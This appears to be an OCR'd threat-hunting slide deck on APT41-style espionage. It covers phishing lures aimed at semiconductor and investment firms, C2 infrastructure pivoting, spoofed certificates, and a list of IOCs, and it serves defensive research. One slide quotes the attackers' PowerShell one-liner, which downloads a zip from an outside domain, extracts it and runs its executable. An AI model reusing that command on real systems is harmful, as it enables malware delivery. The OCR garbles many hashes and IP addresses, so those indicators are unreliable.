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Targeting

Like other Chinese espionage operators, APT41targets industriesina manner generally
aligned with China's Five-Year economic development plans. However, some campaigns
attributed to APT41indicate that the group is also deployed to gather intelligence ahead
of imminent events, such as mergers and acquisitions(M&A)and political events.
Directly targeted verticals include:

« Healthcare: including medical devices and diagnostics

- High-tech: including semiconductors, advanced computer hardware, battery
technology, and electric vehicles

« Media: including news organizations

In its annual report, the MIVD said China continued to target western armed forces for their knowledge on

modern weapon systems and operational expertise, while also seeking out other advanced industries.

"China tries to get hold of technology in the Netherlands in various ways, using a combination of (cyber)
espionage, company insiders, acquisitions, circumvention of export restrictions and reverse engineering of

technology for which no licenses are required,"” the agency said.
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. SETTING EXPECTATION— MORE FROM THREAT HUNTING STYLE ™ ™~
APPROACHES TAKEN

 MITRE based hunting

* Intelbased hunting
* Custom based hunting
<< CONTEXT AROUND EVENTS AND HITS FOR QUERIES >>
v" TLDs - .shop, .space etc
v" DLL Sideloading related EDR alerts
v" Chinese info in metadata of File IOCs collected
v" Google sheet abused for C2
v Victimology
v File name pattern — region specific [ language, govt or country name or theme like geo-political etc], double extension

v" Combination of few of above related events — URL > ZIP >DLL Sideloading



INFECTION VECTOR — THROUGH EMAI

Product Engineering (

redacted <r
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To:

P nNational Ta
B 1o ve
Hello:

| am writing to yoL
Engineering at Na

company's needs

Enclosed is my br
compressed file.

To comply with in
We kindly ask you

Thank you very m

Sincerely,
Xue Hao

M . L. F®

Respectfully submitted to: Recruitment Manager

Hello!

| am Xue Hao, a graduate student from the Department of Materials Science and Engineering at National
Taiwan University. | am currently applying for the position of “Product Engineering - Bumping Engineer” in
your company. | learned about your company's outstanding achievements in the field of semiconductor
packaging on the job search platform, and | am particularly interested in your company's recent breakthroughs
in high-end bumping technology, which is highly consistent with my personal professional direction and career
planning. Therefore, | am writing to you and sincerely request that you give me the opportunity to contribute
to your company's technological innovation.

Professional ability matching

During my time at school, | systematically studied core courses such as "Semiconductor Manufacturing
Technology"” and "Material Analysis Methods", mastered material analysis techniques such as XRD and SEM,
and accumulated three years of practical experience in bumping material research and development and
process optimization. In the new Bumping material application research project (see my resume for details), |
was responsible for the material crystal structure analysis and experimental platform construction, and
successfully screened out a new material with a 15% increase in conductivity and a 20% increase in heat
resistance, effectively solving the customer's product miniaturization and high performance needs. These
experiences have enabled me to deeply understand the relationship between bumping material properties
and process parameters, and to have a full-process thinking from material selection to mass production
optimization.

Rich project experience

Faced with the challenge of low yield rate (75%) of the bumping process, | used SPC statistical tools and DOE
experimental design to help the team identify the key influencing factors. By adjusting the temperature curve
and introducing surface treatment technology, | eventually increased the yield rate to more than 90% (see
resume for details). This process strengthened my ability in data analysis and cross-departmental
collaboration, and also made me deeply realize the decisive role of precise process control on product
reliability. In addition, in the development of customized bumping products, | served as the technical interface
and successfully solved the motherboard compatibility issue, which led to 95% customer satisfaction. This
made me familiar with customer demand conversion and NPI (new product introduction) processes.

Continuous learning and teamwork drive self-growth

Working in the fast-paced semiconductor industry, | always keep my technical acumen up to date. Recently, |

taught myself ANSYS thermal simulation and Python data analysis to optimize material selection efficiency. At
the same time, | am good at leveraging my material expertise in cross-disciplinary teams. For example, in the

above project, | worked with circuit design engineers to optimize solder joint structure and balance electrical

performance and mechanical reliability.

| am fully aware of your company's leading position in advanced packaging technology. If | can join the team, |
will devote myself to the optimization of the bumping process and the development of new technologies with
a solid material foundation, rigorous experimental ability and customer-oriented thinking. Attached is my
resume (Resume), please read it. | look forward to the opportunity to meet with you and further explain how |
can fit in with your company's technology development needs.
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Invitation for Investment Research Cooperation

Amelia_W_Chavez <Amelia_W_Chavez@proton.me> fuesday 22 April 2025 at 03:50

5

To: regacted

Dear <redacted>

| hope you can forgive me for the presumptuous letter | wrote to you. Our company, Yuanfu Investment CCS8Wing Co., Ltd., has been paying close attention to the capital
market trends in Greater China. We have recently read your team's in-depth research report on the semiconductor industry and have benefited a lot from it.

In order to further deepen the industry research, we Wr windows
analysis of the Al server supply chain. We sincerely lot System32

cmd.exe
If you have any questions, | hope you will reply. | heret ©: \Windows\system32\cnd.exe
$SystemRoot$\system32\1mageres.dll

Scomspec

Best regards, S
System32
Yuanfu Investment Consulting Co., Ltd. cmd
Research Department Assistant Manager $..\M-\..\..\Windows\System32\cmd.exe
Sil"ICEI'EhF, Zhaﬂg Zhiming /c Wiphami && powershell -w 1 -c "iwr https://api.moctw.info/install.zip -useb -o S$env:PUBLIC/Z.zip;Expand-Archive S$env:PUBLIC/z.zip

Aﬁa':hment: EDEEQE AI SEWEI- SUPFH‘H Eham |ﬂ"lul"E5tﬂ'1l Senv| PUBLIC -f;start S$env:PUBLIC/*.exe" C:\Windows\system32\imageres.dll
e $Sys) emRoot%\system32\imageres.dll

$comf pecs
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 Possible new loader related to . EEE
— StealthVector, MoonWalk backdoor but
“TELEMETRY CHALLENGFE”

Challenge: Unknown infection vector +
No telemetry
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INFRASTRUCTURE HUNTING

166.88.61[.]35

Analyzing the host banner on port 443—commonly associated with

CobaltStrike

Not Found

HTTP/1.1 484 Not Found
Content-Type: text/html
Date: Sun, 28 Jul 2825 @1:57:19 GMT

Server: IIS/7.5
Connection: close
Content-Length: 137

S3L Certificate

Certificate:
Data:
Version: 3 (@x2)
Serial Mumber:
3d:91:a4:45:48:62:72: /b
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= 12 IPs observed using same banner response
on the port 443.

Query:

HTTP/1.1 404 Not Found

Content-Type: text/html

Server: IIS/7.5

Connection: close

Content-Length: 137

Port:443

= Based on bannerresponse search
Query:

HTTP/1.1 404 Not Found

Content-Type: text/html

Server: IIS/7.5

Connection: close

Content-Length: 137

'. SHODAN Explore Downloads Pricing & HTTP/1.1 404 Not Found Content-Type: text/html Server: 11S/7.5 Conne n
SHODAN 0 T O o= R & o W NCA  HTTP/1.1 404 Not Found Content-Type: text/html Server: IS/7.5 Conne n
TOTALRESULTS 4% View Report [0 View on Map Q_ Advanced Search
20 Product Spotlight: Free, Fast IP Lookups for Open Ports and Vulnerabilities using InternetDB
TOP COUNTRIES Not Found [
""""""""""""""""""""""""""""""""""""" 166.88.61.35 HTTP/1.1 484 Not Found
Evoxt (HK) Content-Type: text/html
ﬂ Hong Keng, Hong Kong Date: Sun, 28 Jul 2825 @2:27:8@ GMT . .
- s i View Report (10 View on Map Q Advanced Search
Connection: close
Content-Length: 137
Product Spotlight: Free, Fast IP Lookups for Open Ports and Vulnerabiliies using InternetDB
Hong Kong 1 Not Found ]
166.88.61.35 &) SSL Certificate HTTP/1.1 484 Not Found
Japan 3 Evoxt (HK) lssued By Content-Type: text/html Not Found [-_]/’ ---——3
si 3 [ # ] Hong Kong, Hong Kong |- Commen Name: Date: Sun, 28 Jul 2825 81:57:19 GMT
e o s S S 1221310849 £ $SL Certiicae HTTP/L.1 404 Not Found
niled States ’ Coguarnie. MEGAIIDC Content-Type: text/htal
China 1 o lssued By: lype:
More... e 3 Hong Kong, Hong Kong Date: Mon, 21 Jul 2025 10:14:18 G
gotomeeting.com
pgotomeeting.com Server: II5/7.5
TOP PORTS |- Organizafion: . ”S .
------------------------------------------------------------------------- LogMeln In. Connection: close
443 14 Supported SSL Versions . | Organizalion:
20 5 TLZI:'LZ,TLSVLS Logheln e Content-Length: 137
8443 1 I —
leriin ATn




Cyberproof: Business Sensitive Information

CyberProof”
. * Valdin search response for the same IP: Query:
HTTP/1.1 404 Not Found
Content-Type: text/html
wﬁlﬂfgfw Server: IS/7.5
Sdihago Connection: close
— Content-Length: 137
E port:443
Y Wmm ssljarm:
Content Tow SoxcTial e ar @ 2ad2ad16d2ad2ad00042d42d00042ddb04deffa1705¢2edcddca
o Sere eled24a4da
F4006-c203be67025731 Facet Analysis
Wﬁ?| 1dfae62d4c2feadBdal HTTP/1.1 404 Not Found Content-Type: 1 H
> HTML Features ) L

» Certificate Details
1132591836

= New SSLcertificate

= Search based on banner hash — gives 57 gotomesting.com
additional host connections slack.com

t Q  07d359bfabici1dfaes2ddc2 feadsdal

07d359bfab1c11dfae62d4c2fead8da3®

Summary 05 0)
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= Additional IP based on the newly identified Certificate

| ¥ larm filter: 2ad?adi6d?ad2adiiid2dd?d00042ddbiddeffal7i5e2edocddcas] ed?dadda |

/C=US/ST=CA/L=San Francisco/0=Slack Technologies Inc/0U=DigiCert Inc/CN=slack.comm®

Surmimary OSINT (0) Resolutions (0) Subdomiains DS Records (0) I I Host Responses (10) CT Stream

Tope > | |AM~| |Clowd > | | Pivor Come v | | Maliciows > | | Suspicious ¥ | | Popularity ~ O 12.203.108.209 HOST-CERT_ISSUER 1C=0S /ST=Hassachusetts/L Boston/C=Logheln Inc. /0U=DigiCert Inc/Chegotomeeting. con 2050710
H ASH X — 15 15194
Mo Dec 2025 Feiy )
Select All
_ AS 152194 (2/2) T Collapse Summary O 12.203.108.209 HOST-CERT_CN gotoneeting. con 20250710 2
= Sele HLINE VIEW
B EAs 174 (1/1) A5 15219
O meyy B S 38136 (1/1) Trwe ¥
o RS L 0" nzzi.ve M3 1-LERI_L33UCK [L203/31=uA L=dall i anitisto/0=Slack Technologies Inc/QU=DigiCert Inc/Ch=slack.con A5-05-8 !

= AS 138915 (1/1) ck Technologies Inc/OU=DigiCert Inc/CH=slack.com CERT_I5: 15 152194

0 12213108209 HOST-CERT_CH slack. con 025-05-89 ]

A5 15219
* Infrastructure Reuse:
0 112.213.108.209 HOST-CERT_ISSUER {C=U5/0=Let s Encrypt/Ch=RT1 024-01-0 ]
.. K5 15219 )
IP addresses 112[.]213[.]108[.]49 and 112[.]213[.]108[.]209. Initially, both
were using SSL certificates linked to slack.com , but they have recently 0 2010809 HIST-CERT. 0 ki -1 2
el . H A5 152159
transitioned to certificates spoofing gotomeeting.com ’
0 112.13.108.209 HOST-CERT_TSSUER {C=U5/0=Let s Encrypt/Ch=R3 2024-05-16 ]
5 15219 [}
0 112.113.108.209 HOST-CERT_CH B 2024-05-16 l
&5 1519 )
fC=Us/5T=Massachusetts/l =Hoston/O=LogMeIn Inc./0U=DigiCert Inc/ChN=potomeeting.com 2025-07-13 2025-07-3 &
gotomeeting. com 2025-07-13 2025-07-3 &
fC=US/5T=CAfl=5an Francisco/0=5lack Technologies Inc/OU=DigiCert Inc/CN=slack.com 2025-05-29 2025-07-10 17
slack.com 2025-05-29 2025-07-10 17
fC=PL/0=Unizeto Technologies 5.A. /OU=Certum Certification Authority/CH=Certum Domain Validation CA SHAZ 2025-04-15 2025-05-04 &

(L]



 Top 10 ASN used by the Threat Actor

AS152194
AS149440
AS38136
AS138915
AS140227
ASS4290
AS132203
AS20473
AS45080
AS200019

Cy b e I’PrOOf® ‘ Better Security,
A UST Company Together.
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FILE CONTENT HELPED IN HUNTING FURTHER IOCS

Search based of RC4 key

||:untent"|:|wxsf1.rdtv"

THREATS O REPORTS & ANALYSIS 0 VULNERABILITIES @ o GRAPHS O COMMENTS O DARK WEB

Y Collapse filters «

Summary - & Files Associations GTI 5core

loC type 4cBfafecldb3ad6Td2Zc55156d251 7T T1debT5c98%e4db923491802d5TRe94Ted
(@) Files e} Shome fpetik/ss fmalware/2825-87-23_dodc34428 ffeeda2381211d58ebd fleT_black-basta_widar

peexe  detect-debug-enviromment  Gdbits  cve-2004-1060  eve-2004-0790  cwe-2005-0DGE  cve-2005-7759  exploit
GT1 Verdict

Benign 452e21b8cdchbed4eBT91T3812TebeteT2c4dbBcB531TcT26286d244ThE4 o668
Malicious i} JFerefCs5/115

Suspicious pech NS

Undetected
A5a5deShadc21849984 2444453 F4T7d28%9ae1bf4443abafToedadacea343d3nal

Examples @@ o du.dn
Hawve 5 or more detections pedll  detect-debug-environment  Gbis  long-aleeps

Have distribution vectors

Have threat network infrastructure 48635b93c45f95b4461d26f Fa7BBdd56a2 f843889d1b219311488adeedfdaac
& ¢ | TextShaping.dll

pedil  persistence  G4bils  deted-debug-ernvironment  long-slesps

Have sandbox detonation report
Have community commenis

See K e S Momi T 4b139191c91310bBccaT3829ecl 1c4TEbScabT79504 FFET86ca562b529edbfbE

& ¢ | TextShaping.dll
pedil  Gdbits  persistence  deted-debug-erndironment  long-clesps

d33d32dd75933983e119%eed46412e876323bc23c88975db29bel eeb568b5d450
i) windowsCodecs.d11
pedil  idle  G4bits




Contacted IP addresses (29) O

P
108.177.121.54
151.101.22.172
173.194.195.84
184.28.30.89
192.168.0.25
H).42.65.84
20.595.133.109
H09.85.200.105
27.20.50.20
217.20.50.24
217.20.50.25
217.20.50.3
217.20.50.3
3332987
13332989
3463021
34.104.35.123
43.243.73.187
52.111.239.48
T4.125.132. 100

Detections
/54
/54
/54
/54
/54
/54
/54
/54

| /o4
/54
/54
/54

L 94

/94
/94
/94

/94
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- Upon analyzing the files, we observed that the same being used. A C2 IP is reported

Autonomous System Country
15169
54113
15169
16625

AP RO RSV VED B LSRR ERe

CHIMESE SIMPLIFIED

Contained Resources

SHA-256

o7 8ca2c8b3cEThbed f135406 10 TaSe0 783280923 1 a4fil] Tae63chbTa%9a8c3bs
Ta3c0159ab5a0835f0b64asTiiThS406366698310Td505a30cc 2edad 6 1da543c
45222 1b0cdcb04e8791 73812 T6bebeT 2o4dbBCES3 1 TeT262 860244 Th34 0668
Bfb 73263020 T44d T2bS06396 2edd984a39 7900692 a1 be00ci TRI 2 TaT9a3f3dR
b7 2265509 3bebB04 30 6a0d 1 T452f9c0fii8b 19 Th0SeRodS Tof3bIE TraSaZ4T
ab(feS92b8893365250b05a 23 c485d32 12554 164 Teb3b0464 fabifasccs961a3
a32211bcT43Taf1d56c56T 1b0IS 2281086839937 290bd5b 5643 T3baT4bd49ea
3571 TeedDB4ddccd S8Ic 15002 THbAS 1c82 07 36boc 0304 Taaa 0599 1 bF 22 bes3
819282 b3 fddd T1dd2901ceB4bb4aatb 1 5 Th3bea30f3c2e30acc 1 2eF3660
b20b2a621cd 26015491 dasbic46balf34bci 3605144 1 didafaddSb2 144083463
402ebbelacibisf346ebe T 1d 15fed3d 1aas34T152006efdeTHESabbbalsle
34419eb3Tdach392 TEIZe685eeddcabocif4b2f2bEbletSd4bsaded315:2 cde
b52bBcchedield TidTh3Teticees0] 302 1f3e5f0cidT2ba49bbi063cd TO3G060
2a91Tee85caalbT 138c3d 3af 0T 10600545896 cocoicede TEA5E3 Te030d 10654
d74996b353d1el echa66afadSedd 441 343 ddaf056350a1 bl 33 fchbd af993a27
6d2f3214409262 28484 T69bc 54062 Thobocoe1alas243599b00d3a673Th4197h4
8dble915130ecf300c959433168fde 205186713852 bfSceSbealc 2b0266041db

File Type
unknown
unknown
D05 EXE
unknown
D05 EXE
PHG

PHG

PHG

PNG

PHG

PHG
HTML
HTML
HTML
HTML
HTML
HTHML

RT_HTML
RT_HTML
RT_HTML
RT_HTML
RT_HTML
RT_HTML

Language

CHINESE SIMPLIFIED
CHINESE SIMPLIFIED
CHINESE SIMPLIFIED
CHINESE SIMPLIFIED
CHINESE SIMPLIFIED
CHINESE SIMPLIFIED
CHINESE SIMPLIFIED
CHINESE SIMPLIFIED
CHINESE SIMPLIFIED
CHINESE SIMPLIFIED
CHINESE SIMPLIFIED
CHINESE SIMPLIFIED
CHINESE SIMPLIFIED
CHINESE SIMPLIFIED
CHINESE SIMPLIFIED
CHINESE SIMPLIFIED
CHINESE SIMPLIFIED

A UST Company

Chiz
426T5.6
68867
18594158.12
47137
1043567 .56
1243752
13231.98
2B655.94
S045.06
245548
2462275
24562.94
25132.48
A56TT.AT
25345.15
25367.3
25350.53




" CONCLUSION

 Key findings mclude the reuse and rotation of SSL certificates immpersonating le gitimate
services like slack.com and gotomeeting.com, dynamic IP pivoting through banner hashes
and JARM fingerprints, and consistent use of Cobalt Strike as a command-and-control

framework.

* Platforms ke Shodan and Validin proved mstrumental in uncovering over 25+ related IPs,
5 domains and 6 hashes with notable clustering observed around ASN.

|OCs:

IP Addresses
134[.]122[.]204[.]168
112[.]213[.]108[.]149
112[.]213[.]108[.]209
137[.]220[.]146[.]153
192[.]253[.]229[.]1133
192[.]253[.]229[.]79
137[.]220[.]146[.]252
166[.]88[.]161[.135
103[.]12[.]148[.]137
192[.]253[.]229[.]88
166[.]88[.]96[.]120
43[.1243[.]73[.]187
23[.127[.]99[.]198
38[.]95[.1173[.]1116
154[.]64[.]246[.]191
210[.]87[.]110[.]1229
112[.]213[.]108[.1254
121[.]127[.]246[.]187
38[.]60[.]246[.]1116

43[.]154[.]108[.]230
103[.]248[.]228[.]159
45[.]89[.]229[.]124
154[.]90[.]34[.]113
206[.]233[.]249[.]124
38[.]76[.]151[.]156

Domains:
yahhiuouiyiuggkk[.Jcom
yahyyigdrttyiu[.Jcom
yahkkfukfiky[.Jcom
coinsgamel.lvip,
lotteryasial.lvip

SHA256:
4c00a8ec1db3ad67d2c55156d2517f71deb75¢c989e4db923491802d570e94fed
452e21b0cdcb04e87917381276be6e72c4db8c85317¢c726286d2447b841066e8
85a5d65badc218499842444453f47d289ae1bf4443aba070e4adacea343d30al
486135b93c45f95b4461d26ffa708dd56a2f843889d1b219311488adeelfdaac
4b139191¢91310b0cc973829ec11c476bbcab779594ff0786ca562b529edbfb6
d33d32dd75933983e119eed46412e876323bc23c80975db29be1eeb568b5d49b

CyberProof”

AUST Company

Better Security,
Together.
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Q&A
THANK YOU!l!
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